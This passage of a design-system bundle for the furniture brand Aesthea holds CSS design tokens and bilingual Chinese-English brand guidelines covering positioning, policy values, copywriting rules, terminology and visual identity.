--overlay-strong: rgba(23, 21, 19, 0.64); --header-gradient: rgba(48, 33, 28, 0.72); --logo-ink: var(--brand-500); --focus-ring-color: var(--brand-800); --focus-ring-inverse-color: var(--neutral-0); --shadow-card: 0 0 0 0 rgba(0, 0, 0, 0); --shadow-overlay: 0 16px 40px rgba(23, 21, 19, 0.14); --focus-ring: 0 0 0 2px #FFFFFF, 0 0 0 4px #44332C; --focus-ring-inverse: 0 0 0 2px #30211C, 0 0 0 4px #FFFFFF; } :root { --padding-lr: 48px; --padding-lr-t: 24px; --page-gutter-m: 16px; --padding-tb: 96px; --padding-tb-t: 64px; --padding-tb-m: 48px; --space-4: 4px; --space-8: 8px; --space-12: 12px; --space-16: 16px; --space-20: 20px; --space-24: 24px; --space-32: 32px; --space-40: 40px; --space-48: 48px; --space-60: 60px; --space-80: 80px; --radius-xs: 0px; --radius-sm: 0px; --radius-md: 0px; --radius-lg: 0px; --radius-full: 999px; --display-1: 64px; --display-1-t: 52px; --display-1-m: 40px; --display-2: 52px; --display-2-t: 44px; --display-2-m: 36px; --heading-h1: 52px; --heading-h1-t: 44px; --heading-h1-m: 36px; --heading-h2: 46px; --heading-h2-t: 38px; --heading-h2-m: 32px; --heading-h3: 36px; --heading-h3-t: 32px; --heading-h3-m: 28px; --heading-h4: 26px; --heading-h4-m: 24px; --heading-h5: 22px; --heading-h5-m: 20px; --heading-h6: 18px; --heading-h6-m: 17px; --body-large: 20px; --body-large-m: 18px; --body-base: 16px; --body-base-m: 16px; --body-small: 14px; --body-small-m: 14px; --body-caption: 12px; --price-large-m: 24px; --zh-display-1: 56px; --zh-display-1-t: 44px; --zh-display-1-m: 34px; --zh-display-2: 44px; --zh-display-2-t: 38px; --zh-display-2-m: 30px; --zh-heading-h1: 44px; --zh-heading-h1-t: 38px; --zh-heading-h1-m: 30px; --zh-heading-h2: 36px; --zh-heading-h2-t: 30px; --zh-heading-h2-m: 26px; --zh-heading-h3: 30px; --zh-heading-h3-t: 26px; --zh-heading-h3-m: 24px; --zh-heading-h4: 24px; --zh-heading-h4-m: 21px; --zh-heading-h5: 20px; --zh-heading-h5-m: 18px; --zh-heading-h6: 17px; --zh-heading-h6-m: 16px; --zh-body-base-m: 15px; --zh-body-small-m: 13px; --control-lg: 52px; --control-md: 44px; --control-sm: 36px; --icon-sm: 16px; --icon-md: 20px; --icon-lg: 24px; --icon-btn-md: 18px; --icon-btn-lg: 20px; --bp-mobile: 390px; --bp-tablet: 800px; --bp-desktop: 1440px; --bp-max-mobile: 599px; --bp-max-tablet: 1023px; --container-max: 1344px; --grid-gap: 24px; --grid-gap-m: 16px; --z-header: 100; --z-drawer: 300; --z-toast: 500; --font-title: "Marcellus", "Times New Roman", serif; --font-text: "Archivo", "Helvetica Neue", Arial, sans-serif; --font-zh-title: "Marcellus", "Songti SC", "STSong", "Noto Serif SC", "Source Han Serif SC", "SimSun", serif; --font-zh-text: "Archivo", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei", "Noto Sans SC", sans-serif; } .display { font-family: var(--font-title); font-size: 64px; line-height: 1.2; font-weight: 400; } .heading-h1 { font-family: var(--font-title); font-size: 52px; line-height: 1.2; font-weight: 400; } .heading-h2 { font-family: var(--font-title); font-size: 46px; line-height: 1.2; font-weight: 400; } .heading-h3 { font-family: var(--font-title); font-size: 36px; line-height: 1.25; font-weight: 400; } .heading-h4 { font-family: var(--font-title); font-size: 26px; line-height: 1.3; font-weight: 400; } .heading-h5 { font-family: var(--font-title); font-size: 22px; line-height: 1.35; font-weight: 400; } .heading-h6 { font-family: var(--font-title); font-size: 18px; line-height: 1.4; font-weight: 400; } .body-large { font-family: var(--font-text); font-size: 20px; line-height: 1.6; font-weight: 300; } .body-base { font-family: var(--font-text); font-size: 16px; line-height: 1.6; font-weight: 400; } .body-small { font-family: var(--font-text); font-size: 14px; line-height: 1.6; font-weight: 400; } .caption { font-family: var(--font-text); font-size: 12px; line-height: 1.5; font-weight: 400; } .label { font-family: var(--font-text); font-size: 12px; line-height: 1.5; font-weight: 500; } .button { font-family: var(--font-text); font-size: 14px; line-height: 1.2; font-weight: 500; } .price { font-family: var(--font-text); font-size: 18px; line-height: 1.3; font-weight: 400; } .price-large { font-family: var(--font-title); font-size: 28px; line-height: 1.25; font-weight: 400; } .zh-display { font-family: var(--font-zh-title); font-size: 56px; line-height: 1.25; font-weight: 400; } .zh-heading-h1 { font-family: var(--font-zh-title); font-size: 44px; line-height: 1.3; font-weight: 400; } .zh-heading-h2 { font-family: var(--font-zh-title); font-size: 36px; line-height: 1.35; font-weight: 400; } .zh-heading-h3 { font-family: var(--font-zh-title); font-size: 30px; line-height: 1.4; font-weight: 400; } .zh-heading-h6 { font-family: var(--font-zh-title); font-size: 17px; line-height: 1.5; font-weight: 400; } .zh-body { font-family: var(--font-zh-text); font-size: 16px; line-height: 1.75; font-weight: 400; } .zh-body-small { font-family: var(--font-zh-text); font-size: 14px; line-height: 1.7; font-weight: 400; } .zh-label { font-family: var(--font-zh-text); font-size: 13px; line-height: 1.4; font-weight: 500; } ``` --- ## 48-Variable Semantic Bridge (`tokens/semantic-bridge.css`) ```css /* 11_Aesthea - Canonical 48-Variable Semantic Bridge (Stage R9 Contract v3.0.0) */ /* Maps locked brand primitives onto the 4 Cross-Brand Design Fusion & AI Replication axes. */ :root { /* Axis 1: Space, Canvas & Color Proportion (25 vars) */ --ds-sem-bg-canvas: #FFFFFF; --ds-sem-bg-surface: #FFFFFF; --ds-sem-bg-elevated: #FAF7F2; --ds-sem-bg-band: #FAF7F2; --ds-sem-bg-footer: #30211C; --ds-sem-ink-primary: #201D1A; --ds-sem-ink-secondary: #66615E; --ds-sem-ink-muted: #7A7774; --ds-sem-ink-on-footer: #FFFFFF; --ds-sem-border-hairline: #EBEBEB; --ds-sem-border-strong: #7A7774; --ds-sem-action-primary-bg: #6D4F40; --ds-sem-action-primary-fg: #FFFFFF; --ds-sem-action-secondary-bg: #F4EDE5; --ds-sem-action-secondary-fg: #44332C; --ds-sem-accent-brand: #6D4F40; --ds-sem-status-offer: #44332C; --ds-sem-status-error: #C43131; --ds-sem-announcement-bg: #30211C; --ds-sem-announcement-fg: #FFFFFF; --ds-sem-section-pad-y: 96px; --ds-sem-section-pad-x: 48px; --ds-sem-container-max: 1344px; --ds-sem-grid-gutter: 24px; --ds-sem-whitespace-ratio: 0.72; /* Axis 2: Typography & Editorial Scale (18 vars) */ --ds-sem-font-display: "Marcellus", "Times New Roman", serif; --ds-sem-font-sans: "Archivo", "Helvetica Neue", Arial, sans-serif; --ds-sem-font-mono: "JetBrains Mono", "DM Mono", ui-monospace, SFMono-Regular, Menlo, Consolas, "Noto Sans SC", "PingFang SC", "Microsoft YaHei", sans-serif; --ds-sem-font-cjk: "Archivo", "PingFang SC", "Hiragino Sans GB", "Noto Sans SC", sans-serif; --ds-sem-display-size-desktop: 64px; --ds-sem-display-size-mobile: 40px; --ds-sem-h2-size: 46px; --ds-sem-pdp-title-size: 36px; --ds-sem-body-size: 16px; --ds-sem-kicker-size: 12px; --ds-sem-heading-weight: 400; --ds-sem-body-weight: 400; --ds-sem-cta-weight: 500; --ds-sem-heading-tracking: 0em; --ds-sem-cta-tracking: 0.08em; --ds-sem-heading-transform: none; --ds-sem-cta-transform: uppercase; --ds-sem-measure-prose: 65ch; /* Axis 3: Corner Geometry & Control Elevation (7 vars) */ --ds-sem-radius-btn: 0px; --ds-sem-radius-card: 0px; --ds-sem-radius-input: 0px; --ds-sem-btn-height: 52px; --ds-sem-header-height: 72px; --ds-sem-card-shadow: none; --ds-sem-focus-ring: 0 0 0 2px #FFFFFF, 0 0 0 4px #44332C; } /* === BEGIN DS-V4 PERCEPTUAL OKLCH, APCA, WOFF2 & MOTION PHYSICS === */ :root { /* Perceptual OKLCH Coordinates (Aesthea · Schema v4.0.0) */ --ds-oklch-canvas: oklch(1.0000 0.0000 0.00); --ds-oklch-surface: oklch(0.9771 0.0074 80.72); --ds-oklch-subtle: oklch(0.9508 0.0119 79.78); --ds-oklch-ink: oklch(0.2330 0.0073 67.46); --ds-oklch-ink-secondary: oklch(0.4963 0.0080 53.33); --ds-oklch-border: oklch(0.9003 0.0155 77.06); --ds-oklch-cta-bg: oklch(0.4556 0.0471 47.66); --ds-oklch-cta-ink: oklch(1.0000 0.0000 0.00); --ds-oklch-accent: oklch(0.4556 0.0471 47.66); --ds-oklch-footer-bg: oklch(0.2645 0.0251 39.22); --ds-oklch-footer-ink: oklch(1.0000 0.0000 0.00); /* APCA-W3 (0.0.98G-4g) Perceptual Contrast Readouts */ --ds-apca-body-on-canvas-lc: 103.71; --ds-apca-body-on-surface-lc: 99.1; --ds-apca-cta-label-lc: -90.46; --ds-apca-footer-label-lc: -105.03; /* WOFF2 Binary OS/2 Optical x-height Calibration */ --ds-font-display-x-ratio: 0.5000; --ds-font-sans-x-ratio: 0.5260; --ds-font-mono-x-ratio: 0.5500; --ds-font-size-adjust-display: ex-height 0.5000; --ds-font-size-adjust-sans: ex-height 0.5260; /* Physical Motion & Photographic Optical Tokens */ --ds-motion-ease-primary: cubic-bezier(0.22, 1, 0.36, 1); --ds-motion-ease-drawer: cubic-bezier(0.19, 1, 0.22, 1); --ds-motion-ease-exit: cubic-bezier(0.4, 0, 1, 1); --ds-motion-dur-micro: 180ms; --ds-motion-dur-drawer: 420ms; --ds-motion-dur-reveal: 680ms; --ds-optics-kelvin-daylight: 6500K; --ds-optics-kelvin-gallery: 4000K; --ds-optics-kelvin-evening: 2700K; --ds-optics-archetype: "north_window_gallery_daylight"; } @media (prefers-reduced-motion: reduce) { :root { --ds-motion-dur-micro: 0ms; --ds-motion-dur-drawer: 100ms; --ds-motion-dur-reveal: 120ms; } } /* === END DS-V4 PERCEPTUAL OKLCH, APCA, WOFF2 & MOTION PHYSICS === */ ``` --- ## Bundled Reference: `docs/01-brand-core.md` # 01 品牌核心 Aesthea 做按订单定制的家具。Trade 客户（设计师、建筑师、酒店与商业采购）是主力，消费者也能直接按零售价下单。本章定下我们说什么、对谁说、不说什么。 ## AES-CORE-01 价值主张 价值主张是 “Formed by Aesthetics, Defined by You.”，一字不改，大小写和标点照原样。用在首页首屏、页脚、邮件页脚、规格单和社媒主页。中文场景优先保留英文原句；需要中文时用 “美学成形，由你定义”。 - ✓ Formed by Aesthetics, Defined by You. - ✗ Formed by aesthetics — defined by you! - ✓ Formed by Aesthetics, Defined by You. - ✗ 美学造就，你说了算！ 组件：`Hero` · `Footer` · `PageHome` ## AES-CORE-02 定位与客群 定位句：Bespoke Furniture, Made to Order。Aesthea 以 Trade 为主：室内设计师、建筑师、酒店与商业空间采购按 Trade 价下单；消费者也能在网站上按零售价直接下单。两类人看同一套商品和配置，只是价格和服务不同。 - ✓ Bespoke Furniture, Made to Order - ✗ Wholesale furniture for designers only - ✓ 按订单定制的家具 - ✗ 只对设计师开放的批发家具 组件：`Header` · `PriceState` · `PageTrade` · `PagePLP` ## AES-CORE-03 三个支撑点 对外只讲三件能兑现的事：① 尺寸、配置、面料、饰面都能选（Flexible customization across dimensions, configurations, upholstery, and finishes.）；② Trade 服务：Trade 价、规格单、定制尺寸和 COM 报价；③ 先看小样再下单。每个支撑点配一个可核验的事实，数字只用 AES-CORE-05 的取值。 - ✓ Made to your measurements · Free swatches · Trade Program - ✗ Endless options · Free everything · Fastest delivery - ✓ 尺寸、面料、饰面都能选 · 免费小样 · Trade 计划 - ✗ 无限可能 · 全部免费 · 极速发货 组件：`TrustBar` · `FeatureList` · `PageHome` · `PageTrade` ## AES-CORE-04 与 Domula 的关系 Aesthea 是 Domula 旗下的定制家具产品品牌，对外以 Aesthea 独立出现。不加 “by Domula” 背书。两套视觉不共用：Aesthea 用胡桃棕、奶油底、Marcellus、直角；不用 Domula 的红色 #A6192E、Albert Sans、圆角和黑白灰主调。 - ✓ Aesthea - ✗ Aesthea by Domula — in Domula red - ✓ Aesthea - ✗ Domula·Aesthea 联名红色字标 组件：`Logo` · `Header` · `Footer` · `Button` ## AES-CORE-05 政策取值 对外承诺只用下面的取值；组件默认读同一份（POLICY），改值只改这一处，页面不另写。Trade：全价零售价打 8 折，无起订额；大单和多房间项目可申请项目价；配一位专属 Trade 联系人；上传转售证明后免税结算；申请 2 个工作日内回复。小样：免费，每单最多 10 个，5–7 个工作日送达，与家具分开发货。交期：In stock 5–7 个工作日发货；Quick ship 2–3 周；Made to order 8–10 周，C、D 级面料、组合沙发和石材件 10–12 周。送货：美国本土 48 州白手套送货每单 $249，送到指定房间、组装、带走包装；阿拉斯加和夏威夷另行报价。定制款：下单 48 小时内可免费修改或取消；之后进入生产，不退不换；到货损坏或有缺陷的，修复或更换。现货和快速发货款：送达 30 天内可退，退货取件费等于送货费。到货损坏请在 7 天内告知。质保：框架 10 年；面料、饰面、五金 1 年。设计服务：免费，线上视频或电话，含 3D 渲染图和按比例平面图，1 个工作日内回复。合同级：符合 CAL TB 117-2013，面料耐磨 30,000 次以上（Wyzenbeek）。不设会员价。客服：在线聊天，周一至周五 9am–6pm PT。 - ✓ Free swatches · up to 10 per order - ✗ Free everything · Fastest delivery anywhere - ✓ 免费小样 · 每单最多 10 个 - ✗ 全部免费 · 全网最快 组件：`PriceState` · `LeadTimeTerms` · `SwatchCart` · `TrustBar` · `Footer` · `PageTrade` · `PageDesignServices` ## AES-CORE-06 品牌名写法 正文写 Aesthea（首字母大写），全大写 AESTHEA 只出现在字标里。不翻译、不起中文名、不拆写。系列和商品名用英文。 - ✓ Aesthea - ✗ AESTHEA Furniture Co. / Aesthea Home - ✓ Aesthea - ✗ 艾瑟雅家居 组件：`Logo` · `Header` · `Footer` --- ## Bundled Reference: `docs/en/01-brand-core.md` # 01 Brand core Aesthea makes furniture to order. Trade clients (designers, architects, hospitality buyers) come first, and consumers can buy direct at retail. This chapter sets the claims we make and the ones we don’t. ## AES-CORE-01 Value proposition The value proposition is “Formed by Aesthetics, Defined by You.” Use it word for word, with its capitals and full stop. It appears on the home hero, the footer, email footers, tear sheets and social profiles. - ✓ Formed by Aesthetics, Defined by You. - ✗ Formed by aesthetics — defined by you! Components: `Hero` · `Footer` · `PageHome` ## AES-CORE-02 Positioning and audience Positioning line: Bespoke Furniture, Made to Order. Aesthea is Trade first: interior designers, architects and hospitality buyers order at Trade pricing. Consumers can buy on the site at retail. Both see the same products and configurations; price and service differ. - ✓ Bespoke Furniture, Made to Order - ✗ Wholesale furniture for designers only Components: `Header` · `PriceState` · `PageTrade` · `PagePLP` ## AES-CORE-03 Three proof points Say three things we can deliver. (1) Dimensions, configurations, upholstery and finishes are all choices: “Flexible customization across dimensions, configurations, upholstery, and finishes.” (2) Trade service: Trade pricing, tear sheets, custom-size and COM quotes. (3) Swatches before you order. Each needs a checkable fact, and any number comes from AES-CORE-05. - ✓ Made to your measurements · Free swatches · Trade Program - ✗ Endless options · Free everything · Fastest delivery Components: `TrustBar` · `FeatureList` · `PageHome` · `PageTrade` ## AES-CORE-04 Relationship to Domula Aesthea is Domula’s made-to-order furniture brand and appears on its own. It carries no “by Domula” endorsement. The two do not share visuals: Aesthea uses walnut, cream grounds, Marcellus and square corners, and never Domula’s red, Albert Sans, rounded corners or black-white-grey scheme. - ✓ Aesthea - ✗ Aesthea by Domula — in Domula red Components: `Logo` · `Header` · `Footer` · `Button` ## AES-CORE-05 Policy values Public promises use only the values below. Components read the same values by default (POLICY); change a value here and nowhere else. Trade: 20% off full-price retail, no minimum order. Project pricing on request for large and multi-room orders. One named Trade contact. Tax-exempt checkout once a resale certificate is on file. Applications answered within 2 business days. Swatches: free, up to 10 per order, delivered in 5–7 business days, shipped separately from furniture. Lead times: In stock ships in 5–7 business days. Quick ship ships in 2–3 weeks. Made to order ships in 8–10 weeks, or 10–12 weeks for grade C and D fabrics, sectionals and stone. Delivery: white-glove, $249 per order in the contiguous US. The crew places each piece in the room you choose, assembles it and removes the packaging. Alaska and Hawaii are quoted. Made-to-order pieces: change or cancel free within 48 hours of ordering. After that they are in production and final sale. Anything that arrives damaged or defective is repaired or replaced. In-stock and Quick ship pieces: return within 30 days of delivery; the pickup fee equals the delivery fee. Report damage within 7 days of delivery. Warranty: frames 10 years; upholstery, finishes and hardware 1 year. Design Services: free, by video or phone, with 3D renderings and a scaled floor plan. First reply within 1 business day. Contract grade: meets CAL TB 117-2013, with fabric rated 30,000+ double rubs (Wyzenbeek). No member pricing. Customer care: live chat, Mon–Fri, 9am–6pm PT. - ✓ Free swatches · up to 10 per order - ✗ Free everything · Fastest delivery anywhere Components: `PriceState` · `LeadTimeTerms` · `SwatchCart` · `TrustBar` · `Footer` · `PageTrade` · `PageDesignServices` ## AES-CORE-06 Brand name In text, write Aesthea. All caps AESTHEA appears only in the wordmark. Do not translate it, give it a Chinese name or split it. - ✓ Aesthea - ✗ AESTHEA Furniture Co. / Aesthea Home Components: `Logo` · `Header` · `Footer` --- ## Bundled Reference: `docs/02-language-en.md` # 02 英文语言 网站、邮件、规格单的英文写法。面向美国读者。 ## AES-EN-01 语气：Considered · Precise · Warm · Unhurried Considered：每句话说一件事，说清材料和做法。Precise：带单位的数字、具体的面料和木种。Warm：像工作室里懂行的人跟客户说话。Unhurried：不催促、不用倒计时、不用感叹号。 - ✓ Kiln-dried hardwood frame. Feather-wrapped seat cushions. - ✗ Experience unparalleled luxury that elevates your space! 组件：`Hero` · `SectionHeader` · `HelpFAQ` · `EmptyState` ## AES-EN-02 美式英语与标点 美式拼写（color、gray、center）。用 serial comma，与价值主张支撑句一致。数字一到九拼写，10 以上和所有价格、尺寸、日期用数字。范围用短横（10–12 weeks）。 - ✓ Dimensions, configurations, upholstery, and finishes - ✗ Colour, centre, 10-12 Weeks 组件：全部组件 ## AES-EN-03 大小写 区块标题和按钮用句子式大小写（Made to your measurements；Add to cart）。商品名、系列名和 Trade Program 用标题式。眉题、徽标、导航的全大写只由 CSS 实现，源文案不打全大写。价值主张保留原有大小写。 - ✓ Add to cart - ✗ ADD TO CART (typed in caps) 组件：`SectionHeader` · `Button` · `Badge` · `Header` ## AES-EN-04 格式 价格 $4,280（商品页不带 .00，购物车和结算带两位小数）。尺寸 96″ W × 40″ D × 30″ H，需要时加厘米。交期 “Ships in 10–12 weeks”，预计日期 “Est. delivery Feb 2 – Feb 16”。日期 Feb 2, 2027。 - ✓ Ships in 10–12 weeks · $4,280 - ✗ Ships in 10-12 Weeks · USD 4280.00 组件：`Price` · `PriceState` · `LeadTimeTerms` · `CartLine` ## AES-EN-05 用词 要说：made to order、lead time、swatch、finish、COM（customer’s own material）、tear sheet、Trade（指计划时首字母大写）。不说：luxury、luxurious、elevated、premium、curated、timeless、exclusive、world-class、handcrafted（未核实前）、eco-friendly 或 sustainable（无证据时）。bespoke 只用在定位句里。 - ✓ Solid oak legs in a natural finish - ✗ Luxurious, timeless, elevated oak legs 组件：全部组件 ## AES-EN-06 错误与空状态 先说发生了什么，再说下一步。不责怪顾客，不用 Oops。 - ✓ Enter an email like name@studio.com. - ✗ Oops! Invalid input. 组件：`TextField` · `EmptyState` · `SwatchCart` · `TradeApplication` ## 示例 - Hero: Formed by Aesthetics, Defined by You. / Bespoke furniture, made to order. Choose the size, the configuration, the fabric and the finish. - PDP description: A low, curved sofa with a tight back and loose seat cushions. - Lead time: Made to order · ships in 10–12 weeks after you order. - Trade entry: Trade pricing for design professionals. Sign in · Apply - Swatch tray, empty: Your swatch tray is empty. Add swatches from any product page or the fabric library. - Error: Enter an email like name@studio.com. --- ## Bundled Reference: `docs/03-language-zh.md` # 03 中文语言 面向美国华语顾客和设计师的中文写法。 ## AES-ZH-01 受众与用途 中文面向美国华语顾客和设计师（简体，zh-Hans-US），用在一对一沟通、报价与规格单、中文社媒和需要时的落地页。网站默认英文。繁体只在渠道需要时由简体转换，再由人工复核。 - ✓ 页面 lang="zh-Hans-US" - ✗ 页面写 lang="zh"，或简繁混排 组件：`Locale` · `PagePDPZh` ## AES-ZH-02 语气 交易、服务和法律文本用“您”。语气平实、懂行、有分寸；讲清材料和做法。不用“奢华”“高级感”“轻奢”“亲”“宝子”，不堆感叹号。 - ✓ 框架用窑干硬木，坐垫外包羽绒。 - ✗ 奢华高级感，轻奢天花板！！ 组件：全部组件 ## AES-ZH-03 名称写法 品牌名、系列名、商品名保留英文，品类写中文：Arden 三人沙发、Halden 茶几。面料第一次出现可中英并列：象牙白圈圈绒（Ivory Bouclé）。 - ✓ Arden 三人沙发 - ✗ 雅登三人沙发 组件：`ProductCard` · `CartLine` · `SwatchCart` ## AES-ZH-04 中文排版 中文与英文、数字之间加半角空格（日期、时间除外）；全角标点；范围用短横 10–12 周；标题不加粗，不用斜体、全大写和字距；正文行高 1.75。 - ✓ 约 10–12 周发货 · 宽 96 英寸 - ✗ 约10-12周发货,宽96英寸 组件：`tokens: zh-*` ## AES-ZH-05 术语表 下单后定制（made to order）、交期（lead time）、小样（swatch）、小样清单（swatch tray）、饰面（finish）、客供面料（COM）、规格单（tear sheet）、Trade 计划（Trade Program）、Trade 价（Trade price）、零售价（retail price）、合同级（contract grade）。同一页面只用一种说法。 - ✓ 小样清单 · 客供面料（COM）· 规格单 - ✗ 样品篮 · 自带布 · 产品说明书（同一页混用） 组件：全部组件 ## 术语对照 | English | 中文 | |---|---| | Made to order | 下单后定制 | | Lead time | 交期 | | In stock | 现货 | | Quick ship | 快速发货 | | Swatch | 小样 | | Swatch tray | 小样清单 | | Finish | 饰面 | | COM (customer’s own material) | 客供面料（COM） | | Tear sheet | 规格单 | | Trade Program | Trade 计划 | | Trade price | Trade 价 | | Retail price | 零售价 | | Contract grade | 合同级 | | Design Services | 设计服务 | | Made-to-Order Terms | 定制条款 | --- ## Bundled Reference: `docs/04-visual-identity.md` # 04 视觉识别 字标、颜色、字体、形状、影像和无障碍。取值见 tokens.json，组件已经按这些规则实现。 ## AES-VIS-01 Logo 只用 AESTHEA 字标的两个定稿版本：胡桃棕（白底、奶油底）和白色（胡桃棕底、页脚、照片遮罩上）。四周留白不小于字母 A 的高度；屏幕最小宽 96px，印刷最小 25mm。不改色、不描边、不拉伸、不改字距、不用 Marcellus 打字代替字标。 组件：`Logo` · `Header` · `Footer` · `LogoUsage` ## AES-VIS-02 颜色 胡桃棕 brand-500 #6D4F40 是品牌色：主按钮、链接、字标、编辑区块。底色用白（商品页）和奶油 brand-50（编辑区块、小样清单）。深色用 brand-900（页脚）。不用红色做促销，不另加金色或其他强调色。状态色：错误 #C43131 只用于错误；警告 #B1844F 只做图标和细线，文字用 neutral-800。 组件：`tokens` · `ContrastAudit` · `Button` · `Footer` ## AES-VIS-03 字体 标题和展示用 Marcellus，只有 400 一个字重，不加粗。正文和界面用 Archivo（Light 300 用于导语，Regular 400 正文，Medium 500 标签和按钮）。眉题、徽标、导航、按钮全大写加 0.08em 字距，由 CSS 实现。最小字号 12px。 组件：`TypeScale` · `SectionHeader` · `Button` · `Badge` ## AES-VIS-04 形状与层次 直角。只有色板和材质小样、圆形图标按钮、计数点、热点是圆的。不用投影区分层次，用细线、底色和留白；抽屉和菜单例外（配遮罩）。 组件：`Button` · `ProductCard` · `SwatchPicker` · `Drawer` ## AES-VIS-05 影像 商品图：抠图放在胡桃棕底，正面偏 3/4 视角，地面留柔和阴影，比例 4:5。空间图：暖调自然光，护墙板、宽木地板，家具在真实摆放中。细节图：贴近材质（圈圈绒、木纹、石材边）。文字压图时加 overlay 遮罩。 组件：`Image` · `Gallery` · `ProductCard` · `Hero` · `Imagery` ## AES-VIS-06 无障碍 文字对比度 ≥ 4.5:1，控件边框和图形 ≥ 3:1（以 ContrastAudit 为准）。键盘焦点环始终可见。触控目标不小于 44px。每张图有替代文字，纯装饰图留空。 组件：`ContrastAudit`